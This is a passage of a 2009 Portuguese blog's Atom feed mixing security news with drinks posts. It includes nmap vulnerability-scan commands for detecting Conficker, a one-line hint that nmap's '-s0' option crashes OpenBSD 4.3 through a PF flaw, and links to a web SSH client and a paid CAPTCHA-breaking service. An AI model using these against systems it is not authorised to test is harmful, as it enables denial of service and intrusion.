src='https://blogger.googleusercontent.com/tracker/3801955527535480990-6278553071073468229?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/6278553071073468229/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=6278553071073468229&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/6278553071073468229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/6278553071073468229'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/04/jack-daniels.html' title='Jack Daniels'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_zPY0AjwymTU/SfDVFbUG-WI/AAAAAAAAAMk/vbT74yWbBRw/s72-c/D780%7EJack-Daniel-s-Black-Label-Posters.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-2071808791099287686</id><published>2009-04-22T12:04:00.000-07:00</published><updated>2009-04-22T12:12:09.281-07:00</updated><title type='text'>Client SSH via web</title><content type='html'>Existe um site que fornece um client ssh via web (em ajax).&lt;br /&gt;Pois é por mais estupido que possa ser existe, mais uma ferramenta a favor do mal..rsrsrs&lt;br /&gt;Para os que estão se perguntando porque estou reclamando de algo "relativamente" útil, eu explico, uma ferramenta dessas ajuda muuito na hora de invadir um site pois a conexão parte do servidor deles ou seja vou fazer auditoria para ver quem invadiu e vejo que é um site que fornece um serviço pra isso.... show de bola!!!&lt;br /&gt;&lt;br /&gt;para quem quiser testar o site é o seguinte:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.serfish.com/console/"&gt;http://www.serfish.com/console/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;By CleBeer (tks to welias at twitter)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-2071808791099287686?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/2071808791099287686/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=2071808791099287686&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/2071808791099287686'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/2071808791099287686'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/04/client-ssh-via-web.html' title='Client SSH via web'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-2427988162811641375</id><published>2009-04-22T05:44:00.000-07:00</published><updated>2009-04-22T06:09:00.488-07:00</updated><title type='text'>Nova versão beta do Nmap</title><content type='html'>Postei há algumas semanas comentando sobre o&lt;a href="http://clebeerpub.blogspot.com/2009/03/nmap-485beta5-lancado-para-escanear.html"&gt; lançamento do nmap-4.85beta-5&lt;/a&gt; que tinha a opção de scan que permitia verificar se a maquina estava infectada com o conficker mas uma atualização do conficker fez com que este recurso do nmap não reconhecesse mais a nova variante do conficker, porém a galera do insecure.org lançou uma nova versão do nmap, o nmap-4.85beta-8 que corrige este problema, no meu post anterior sobre nmap eu comentei que para escanear uma máquina com suspeita de infecção pelo conficker basta utilizar o seguinte comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;nmap -p139,445 --script p2p-conficker,smb-os-discovery,smb-check-vulns --script-args checkconficker=1,safe=1 -T4 [ rede de destino]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Porém se você tiver tempo para uma análise mais lenta porém mais criteriosa pode executar o seguinte comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;nmap --script p2p-conficker,smb-os-discovery,smb-check-vulns -p- --script-args checkall=1,safe=1 -T4 [rede de destino]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A nova versão do nmap-4.85beta-8  e a lista de todas as alterações desta nova release podem ser encontradas no site do nmap nos links a seguir:&lt;br /&gt;&lt;a href="http://nmap.org/download.html"&gt;&lt;br /&gt;Download&lt;/a&gt;&lt;br /&gt;&lt;a href="http://nmap.org/changelog.html"&gt;Changelog&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Fonte: nmap.org&lt;br /&gt;&lt;br /&gt;By CleBeer&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-2427988162811641375?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/2427988162811641375/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=2427988162811641375&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/2427988162811641375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/2427988162811641375'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/04/postei-ha-algumas-semanas-comentando.html' title='Nova versão beta do Nmap'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-522478594415947255</id><published>2009-04-20T11:18:00.000-07:00</published><updated>2009-04-20T11:35:02.819-07:00</updated><title type='text'>Departamento de segurança americano procura por Hackers White Hat</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_zPY0AjwymTU/SezAReUZBlI/AAAAAAAAAMc/PX1j2iy_088/s1600-h/copia-de-i-want-you.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 156px; height: 200px;" src="http://1.bp.blogspot.com/_zPY0AjwymTU/SezAReUZBlI/AAAAAAAAAMc/PX1j2iy_088/s200/copia-de-i-want-you.jpg" alt="" id="BLOGGER_PHOTO_ID_5326843865701353042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;O departamento de segurança interno dos Estados Unidos esta procurando por "Hackers White Hat" para ajudar a defender a infra-estrutura de internet americana. Um anuncio do DHS (Department of Homeland Security)  procura pessoas que "possam pensar como os caras maus"&lt;br /&gt;Algum candidato??? =D&lt;br /&gt;&lt;br /&gt;By CleBeer&lt;br /&gt;&lt;br /&gt;Fonte:&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2009/04/20/dhs_hacker_recruitment_drive/"&gt;The Register&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-522478594415947255?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/522478594415947255/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=522478594415947255&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/522478594415947255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/522478594415947255'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/04/departamento-de-seguranca-americano.html' title='Departamento de segurança americano procura por Hackers White Hat'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_zPY0AjwymTU/SezAReUZBlI/AAAAAAAAAMc/PX1j2iy_088/s72-c/copia-de-i-want-you.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-9015690304872773313</id><published>2009-04-15T09:45:00.000-07:00</published><updated>2009-04-15T09:53:39.236-07:00</updated><title type='text'>Falha no PF causa DoS no OpenBSD 4.3</title><content type='html'>Na semana passada (09/04/2009)  Foi divulgada uma falha na implementação do PF (Packet Filter) que ao receber um pacote IP forjado com zero byte causa kernel panic no OpenBSD.&lt;br /&gt;O teste pode ser feito utilizando o comando nmap com a opção -s0. (não use isso para o mal..)&lt;br /&gt;Os sistemas FreeBSD não foram afetados.&lt;br /&gt;&lt;br /&gt;By Clebeer&lt;br /&gt;Fonte:&lt;br /&gt;&lt;a href="http://www.securityfocus.com/archive/1/502634"&gt;Security Focus&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-9015690304872773313?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/9015690304872773313/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=9015690304872773313&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/9015690304872773313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/9015690304872773313'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/04/falha-no-pf-causa-dos-no-openbsd-43.html' title='Falha no PF causa DoS no OpenBSD 4.3'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-4740018241925416018</id><published>2009-04-14T13:20:00.000-07:00</published><updated>2009-04-14T14:28:16.386-07:00</updated><title type='text'>10 Bebidas que levam as mulheres a transar</title><content type='html'>&lt;p&gt;Pesquisa com 860 garotas americanas mostra como a bebida que elas escolhem no bar influi nas chances de a noite terminar &lt;st1:personname productid="em sexo. Veja" st="on"&gt;em sexo. Veja&lt;/st1:personname&gt; na lista a porcentagem delas que dormiram com alguém depois de beber.&lt;/p&gt;  &lt;span style=";font-family:&amp;quot;;font-size:12;"  &gt;&lt;br /&gt;1º - Tequila (91%)&lt;br /&gt;2º - Vodca (79%)&lt;br /&gt;3º - Uísque (68%)&lt;br /&gt;4º - Gim (67%)&lt;br /&gt;5º - Rum (62%)&lt;br /&gt;6º - Cerveja (48%)&lt;br /&gt;7º - Conhaque (46%)&lt;br /&gt;8º - Champanhe (23%)&lt;br /&gt;9º - Vinho tinto (12%)&lt;br /&gt;10º - Vinho branco (9%)&lt;br /&gt;&lt;br /&gt;E viva a Tequila... =)&lt;br /&gt;&lt;br /&gt;By CleBeer&lt;br /&gt;Fonte:&lt;br /&gt;http://copao.blogspot.com/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-4740018241925416018?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/4740018241925416018/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=4740018241925416018&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/4740018241925416018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/4740018241925416018'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/04/10-bebidas-que-levam-as-mulheres.html' title='10 Bebidas que levam as mulheres a transar'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-615042203955415392</id><published>2009-04-01T14:20:00.000-07:00</published><updated>2009-04-01T14:31:04.666-07:00</updated><title type='text'>Primeiro de abril para os Nerds</title><content type='html'>Como todos sabem primeiro de abril é o dia internacional  da mentira e muitas noticias falsas são publicadas na internet, o pior é que tem gente que cai nessas falsas noticias, vejam o exemplo da nova RFC intitulada "&lt;a href="http://tools.ietf.org/html/rfc5514"&gt;IPv6 over Social Networks&lt;/a&gt;" rsrsrs&lt;br /&gt;show de bola, outra pegadinnha esta no site do Metasploit (&lt;a href="http://metasploit.com/"&gt;metasploit.com&lt;/a&gt;) onde na página inicial exibe uma mensagem que o site foi tirado do ar pelo FBI e que todos os indivíduos que utilizam metasploit estão sobre investigação..rsrsrs...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_zPY0AjwymTU/SdPc5atlwLI/AAAAAAAAALw/3DO-nqiXKfY/s1600-h/metasploit"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_zPY0AjwymTU/SdPc5atlwLI/AAAAAAAAALw/3DO-nqiXKfY/s320/metasploit" alt="" id="BLOGGER_PHOTO_ID_5319838463835881650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;By CleBeer |_b&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-615042203955415392?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/615042203955415392/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=615042203955415392&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/615042203955415392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/615042203955415392'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/04/primeiro-de-abril-para-os-nerds.html' title='Primeiro de abril para os Nerds'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_zPY0AjwymTU/SdPc5atlwLI/AAAAAAAAALw/3DO-nqiXKfY/s72-c/metasploit' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-947122009539824320</id><published>2009-03-31T08:21:00.000-07:00</published><updated>2009-03-31T08:34:11.598-07:00</updated><title type='text'>Nmap 4.85BETA5 lançado para escanear Conficker</title><content type='html'>O malware Conficker tem recebido muita atenção da mídia pois tem trabalhado em vasta escala e ja infectou milhoes de maquinas.&lt;br /&gt;&lt;br /&gt;Com isso o pessoal do &lt;a href="http://insecure.org/"&gt;Insecure.org&lt;/a&gt; juntamente com a galera do &lt;a href="http://www.honeynet.org/"&gt;&lt;span style="text-decoration: underline;"&gt;The Honeynet Project &lt;/span&gt;&lt;/a&gt;&lt;br /&gt;lançou uma nova versão beta do famoso portscan Nmap, o Nmap 4.85BETA5 pode ser baixado&lt;br /&gt;no link a seguir:&lt;br /&gt;&lt;a href="http://nmap.org/download.html"&gt;http://nmap.org/download.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Para escanear uma maquina pera ver se ela esta infectada com o Conficker basta executar o comando a seguir:&lt;br /&gt;&lt;b&gt;nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 [Rede de destino]&lt;br /&gt;&lt;br /&gt;Fonte:&lt;br /&gt;http://insecure.org/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;By CleBeer&lt;br /&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-947122009539824320?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/947122009539824320/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=947122009539824320&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/947122009539824320'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/947122009539824320'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/nmap-485beta5-lancado-para-escanear.html' title='Nmap 4.85BETA5 lançado para escanear Conficker'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-5498047760821619335</id><published>2009-03-25T09:27:00.000-07:00</published><updated>2009-03-25T10:55:42.595-07:00</updated><title type='text'>Quebrando captcha por dinheiro</title><content type='html'>É incrível até onde vai a criatividade humana a favor do mal...rsrsrs&lt;br /&gt;com certeza você já deve ter se deparado com um CAPTCHA em sua vida, captcha é aquela figura com vários caracteres que é utilizado em sistemas como tira-teima do email UOL, quando você erra a senha do gmail e no easy-share quando vai baixar um arquivo. A figura a segui é um exemplo  de captcha:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_zPY0AjwymTU/ScpeK5Z-udI/AAAAAAAAALg/_o1EVQYzgbI/s1600-h/290px-Modern-captcha.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 290px; height: 55px;" src="http://2.bp.blogspot.com/_zPY0AjwymTU/ScpeK5Z-udI/AAAAAAAAALg/_o1EVQYzgbI/s320/290px-Modern-captcha.jpg" alt="" id="BLOGGER_PHOTO_ID_5317165851365784018" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;A sigla captcha significa "&lt;i&gt;Completely Automated Public Turing test to tell Computers and Humans Apart&lt;/i&gt;" Que traduzindo para o português seria algo como "teste de turing público completamente automatizado para diferenciar entre computadores e humanos."&lt;br /&gt;Este tipo de proteção é utilizado para evitar que propgramas acessem informações (como cadastro de usuários, envio de email ou perquisas) se passando por um ser humano, se bem que certa vez eu vi um captcha que a meu ver era humanamente impossível de resolver...rrs&lt;br /&gt;Pois é mas hoje eu vi um site que fornece o serviço de quebrar captchas, pois é com a módica quantia de dois dolares (pouco menos de cinco reais) você compra um pacote para quebrar mil captchas, legal que o site tem F.A.Q e garantia, "You pay for correctly recognized CAPTCHAs only" (você só paga pelo captcha que forem reconhecidos corretamente...rsrs)&lt;br /&gt;&lt;br /&gt;Interessado no serviço?&lt;br /&gt;veja o site:&lt;br /&gt;&lt;a href="http://decaptcher.com/client/"&gt;http://decaptcher.com/client/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Legal do site deles é que eles também utilizam Captcha..rsrsrs&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;By CleBeer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-5498047760821619335?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/5498047760821619335/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=5498047760821619335&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/5498047760821619335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/5498047760821619335'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/quebrando-captcha-por-dinheiro.html' title='Quebrando captcha por dinheiro'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_zPY0AjwymTU/ScpeK5Z-udI/AAAAAAAAALg/_o1EVQYzgbI/s72-c/290px-Modern-captcha.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-7805977484698634014</id><published>2009-03-25T05:01:00.000-07:00</published><updated>2009-03-25T05:08:24.716-07:00</updated><title type='text'>Super rootkit resiste a formatação do HD</title><content type='html'>Pesquisadores tem demonstrado como criar rootkits que permanecem na máquina mesmo após formatação do HD colocando o código malicioso na BIOS do computador.&lt;br /&gt;&lt;br /&gt;Mais em:&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2009/03/24/persistent_bios_rootkits/"&gt;http://www.theregister.co.uk/2009/03/24/persistent_bios_rootkits/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;By CleBeer...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-7805977484698634014?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/7805977484698634014/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=7805977484698634014&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7805977484698634014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7805977484698634014'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/super-rootkit-resiste-formatacao-do-hd.html' title='Super rootkit resiste a formatação do HD'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-3504593961246021891</id><published>2009-03-24T11:29:00.000-07:00</published><updated>2009-03-24T11:31:10.710-07:00</updated><title type='text'>Mojito</title><content type='html'>Hehe nem só de bits vive um geek...&lt;br /&gt;um dos drinks que mais curto é o Mojito por isso vou postar a receita dele aqui:&lt;br /&gt;&lt;br /&gt;Ingredientes&lt;br /&gt;&lt;br /&gt;2 ramos de hortelã&lt;br /&gt;1 colher (sopa) de açúcar&lt;br /&gt;Gelo em cubos&lt;br /&gt;3 colheres (sopa) de rum branco&lt;br /&gt;Suco de 1/2 limão&lt;br /&gt;Club soda ou água com gás&lt;br /&gt;&lt;br /&gt;Preparo&lt;br /&gt;&lt;br /&gt;Coloque 3 a 4 folhas de hortelã num copo alto, adicione o açúcar e amasse bem.&lt;br /&gt;Acrescente alguns cubos de gelo, o rum, o suco de limão e complete com club soda ou água com gás.&lt;br /&gt;Mexa rapidamente e sirva decorado com a hortelã restante.&lt;br /&gt;&lt;br /&gt;By CleBeer |_b&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-3504593961246021891?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/3504593961246021891/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=3504593961246021891&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/3504593961246021891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/3504593961246021891'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/mojito.html' title='Mojito'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-3784886200175685432</id><published>2009-03-24T11:09:00.000-07:00</published><updated>2009-03-24T11:11:13.583-07:00</updated><title type='text'>Kernel Linux versão 2.6.29</title><content type='html'>Ontem saiu a nova versão do kernel linux 2.6.29&lt;br /&gt;com o codinome "Temporary Tasmanian Devil." Dentre as&lt;br /&gt;principais mudanças estão o suporte ao sistema de arquivo "Btrfs"&lt;br /&gt;que foi inicialmente desenvolvido pela Oracle (Este ainda esta em teste e não é aconselhavel&lt;br /&gt;o uso a não ser que você va testar o sistema de arquivos), suporte ao sistema de arquivos&lt;br /&gt;squashfs e um modo de configuração específico para placas de vídeo Intel.&lt;br /&gt;&lt;br /&gt;Maiores detalhes em:&lt;br /&gt;&lt;a href="http://kernelnewbies.org/Linux_2_6_29"&gt;http://kernelnewbies.org/Linux_2_6_29&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-3784886200175685432?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/3784886200175685432/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=3784886200175685432&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/3784886200175685432'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/3784886200175685432'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/03/kernel-linux-versao-2629.html' title='Kernel Linux versão 2.6.29'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-7298034759456883971</id><published>2009-03-24T05:49:00.000-07:00</published><updated>2009-03-24T06:02:11.137-07:00</updated><title type='text'>DNS (Cultura Inútil)</title><content type='html'>Se um dia você estiver com problemas no seu sistema de DNS o único site que você provavelmente conseguirá acessar é o da "Southern Air Inc", porquê? porque você vai lembrar do endereço. "&lt;a href="http://12.34.56.7"&gt;http://12.34.56.7&lt;/a&gt;"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-7298034759456883971?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/7298034759456883971/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=7298034759456883971&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' 